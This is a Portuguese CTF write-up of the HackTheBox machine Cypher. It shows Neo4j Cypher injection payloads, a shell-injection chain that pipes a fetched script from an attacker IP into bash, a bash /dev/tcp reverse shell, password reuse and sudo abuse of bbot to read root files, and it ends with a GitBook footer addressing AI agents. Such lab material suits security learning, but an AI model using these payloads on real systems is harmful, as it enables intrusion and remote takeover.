> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/cypher-hackthebox-writeup.md).

# Resolução da máquina Cypher do HackTheBox

{% embed url="<https://app.hackthebox.com/machines/650>" %}

{% hint style="warning" %}
**Habilidades:**

* Engenharia reversa de arquivo .jar Java com JD-GUI
* Análise de vulnerabilidades de código Java personalizado
* Injeção Cypher no Neo4j
* Execução Remota de Código (RCE) por meio de entrada não sanitizada
* Enumeração pós-exploração e reutilização de credenciais
* Escalada de privilégios por permissões sudo mal configuradas
* Extração segura da flag e procedimentos de limpeza
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/c3a552c65f84e9409c8b26079afc2f7f786486f4" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/6e66de97a85d0e35d035593edaedcef4500b0583" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.57 -oG allPorts
```

<figure><img src="/files/457d75338a64fb64c3e642d8a9ac3a51c8b5e560" alt=""><figcaption></figcaption></figure>

**Varredura de versão de portas com Nmap:**

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p22,80 10.10.11.57 -oN targeted
```

<figure><img src="/files/f7d3cf90fcc9bdd39daee74ebc5d127099d7083f" alt=""><figcaption></figcaption></figure>

O IP é então adicionado ao nosso `/etc/hosts` arquivo:

<figure><img src="/files/01383c8a80ad08036c664eefe4e915ed829737b7" alt="" width="563"><figcaption></figcaption></figure>

### Análise Web - Porta 80 (HTTP)

<figure><img src="/files/826c7748bff70fad215d8c3cb63988222675eb66" alt=""><figcaption></figcaption></figure>

**Gobuster** é usado para listar diretórios:

```bash
gobuster dir -u http://cypher.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="/files/084dcc8eab3405f5f908bca83115d6c0a2e3a3b5" alt=""><figcaption></figcaption></figure>

O `/testing` diretório contém um `.jar` arquivo. Extraímos:

<figure><img src="/files/a4d6f08e4c5afe381c44ba88f0866f8e7ee64df5" alt=""><figcaption></figcaption></figure>

Inspecione a estrutura com `tree` e abra o `.jar` por **JD-GUI**.

```bash
unzip custom-apoc-extension-1.0-SNAPSHOT.jar -d testing
```

<figure><img src="/files/69a295a600a1f5e26751a89213336450d81526e2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9f6e26cc85fe8629da991aff76db3307439ccdea" alt=""><figcaption></figcaption></figure>

Descobrimos um comando vulnerável:

```java
String[] command = { "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url };
```

<figure><img src="/files/d372b16cb0c6c96a1a9bc14777a4b8302b55abc8" alt=""><figcaption></figcaption></figure>

**Vulnerabilidade**: a URL não é escapada, permitindo uma /*/* shell/*/* injeção.

## Injeção Cypher no Neo4j

Um formulário de login é vulnerável. Um erro aparece quando entre `'`.

<figure><img src="/files/e9d876d41f1f058f5fcb7008dd6108e09aa90dd0" alt=""><figcaption></figcaption></figure>

Injetamos um payload Cypher para recuperar a versão do Neo4j:

{% code overflow="wrap" %}

```json
{
  "username": "' OR 1=1 WITH 1 AS a CALL dbms.components() YIELD versions UNWIND versions AS version LOAD CSV FROM 'http://10.10.14.90/?v=' + version AS l RETURN 0 AS _0 //",
  "password": "test"
}
```

{% endcode %}

<figure><img src="/files/7bacb6c7615f27164215c98b539bbbebc40ff301" alt=""><figcaption></figcaption></figure>

No nosso servidor, recebemos a requisição:

```bash
python3 -m http.server 80
# --> 5.24.1
```

<figure><img src="/files/8fd233fdcfb099bce1ecf3ac278d56511c7eead6" alt=""><figcaption></figcaption></figure>

### NCE por meio de chamada para `custom.getUrlStatusCode()`

<figure><img src="/files/2bb58e0f377c708b5520a0c27f16fba4360f43eb" alt=""><figcaption></figcaption></figure>

Coloque uma shell reversa em `index.html`:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.80/443 0>&1
```

Coloque uma shell reversa em `index.html`:

```bash
nc -nlvp 443
```

Use a injeção em cadeia para chamar este **custom.getUrlStatusCode**

```bash
{
  "username": "admin' return h.value AS value  UNION CALL custom.getUrlStatusCode(/"127.0.0.1;curl 10.10.14.90/index.html | bash;/") YIELD statusCode AS value  RETURN value ; //",
  "password": "test"
}
```

<figure><img src="/files/3b4a71941089df928a08e4a38c58a9335616e328" alt=""><figcaption></figcaption></figure>

#### Melhoria da shell:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Pivotamento - Usuário Graphasm

Em `/home/graphasm/` há um `pwn.py` arquivo contendo uma senha

<figure><img src="/files/de2b23538e9adea70ab1ca18ef9a2a7eea72f29e" alt=""><figcaption></figcaption></figure>

* cU4btyib.20xtCMCXkBmerhK

#### Reutilização da senha

### Flag user.txt :)

<figure><img src="/files/86d340b31b506b27616b6d4a951ba49f8bdf9b5f" alt=""><figcaption></figcaption></figure>

## Escalada de privilégios

### Sudo - bbot (binário)

Auditoria das regras sudo:

```bash
sudo -l 
```

O usuário pode executar `/usr/local/bin/bbot` como root.

<figure><img src="/files/244093aedefd4e5c61a77b7168428891d04aeabd" alt=""><figcaption></figcaption></figure>

Conteúdo de `/usr/local/bin/bbot`:

```python
#!/opt/pipx/venvs/bbot/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from bbot.cli import main
if __name__ == '__main__':
    sys.argv[0] = re.sub(r'(-script/.pyw|/.exe)?$', '', sys.argv[0])
    sys.exit(main())
```

<figure><img src="/files/93470eb98831ff8d70e562feb45ee3b8721433ba" alt=""><figcaption></figcaption></figure>

### Exploração :

Este script simplesmente transmite argumentos para a função principal de `bbot`. Como podemos controlar os argumentos fornecidos, podemos usar um recurso de `bbot` para reproduzir qualquer arquivo — incluindo aqueles que são acessíveis apenas pelo usuário **root**.

Depois de consultar a ajuda ou documentação para usar `bbot`, identificamos opções para especificar um arquivo de destino e um diretório de saída:

```bash
sudo /usr/local/bin/bbot -t /root/root.txt -o /tmp/root -d
```

**Explicação :**

* `-t /root/root.txt`: define o arquivo de destino a ser processado.
* `-o /tmp/root`: especifica o diretório de saída (onde os resultados serão armazenados).
* `-d`: Ativa o modo de depuração, caso sejam necessárias informações adicionais.

Como o script é executado com os **root** privilégios e nenhuma validação das entradas ns é realizada, isso nos permite reproduzir arquivos arbitrários, incluindo o arquivo final contendo a **flag root**.

<figure><img src="/files/5295b577c298d44bf10cc132efe47e22d735091c" alt=""><figcaption></figcaption></figure>

<div align="center" data-full-width="false"><figure><img src="/files/10d320618d75266b73677a8b97c988df2902d200" alt=""><figcaption></figcaption></figure></div>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/cypher-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
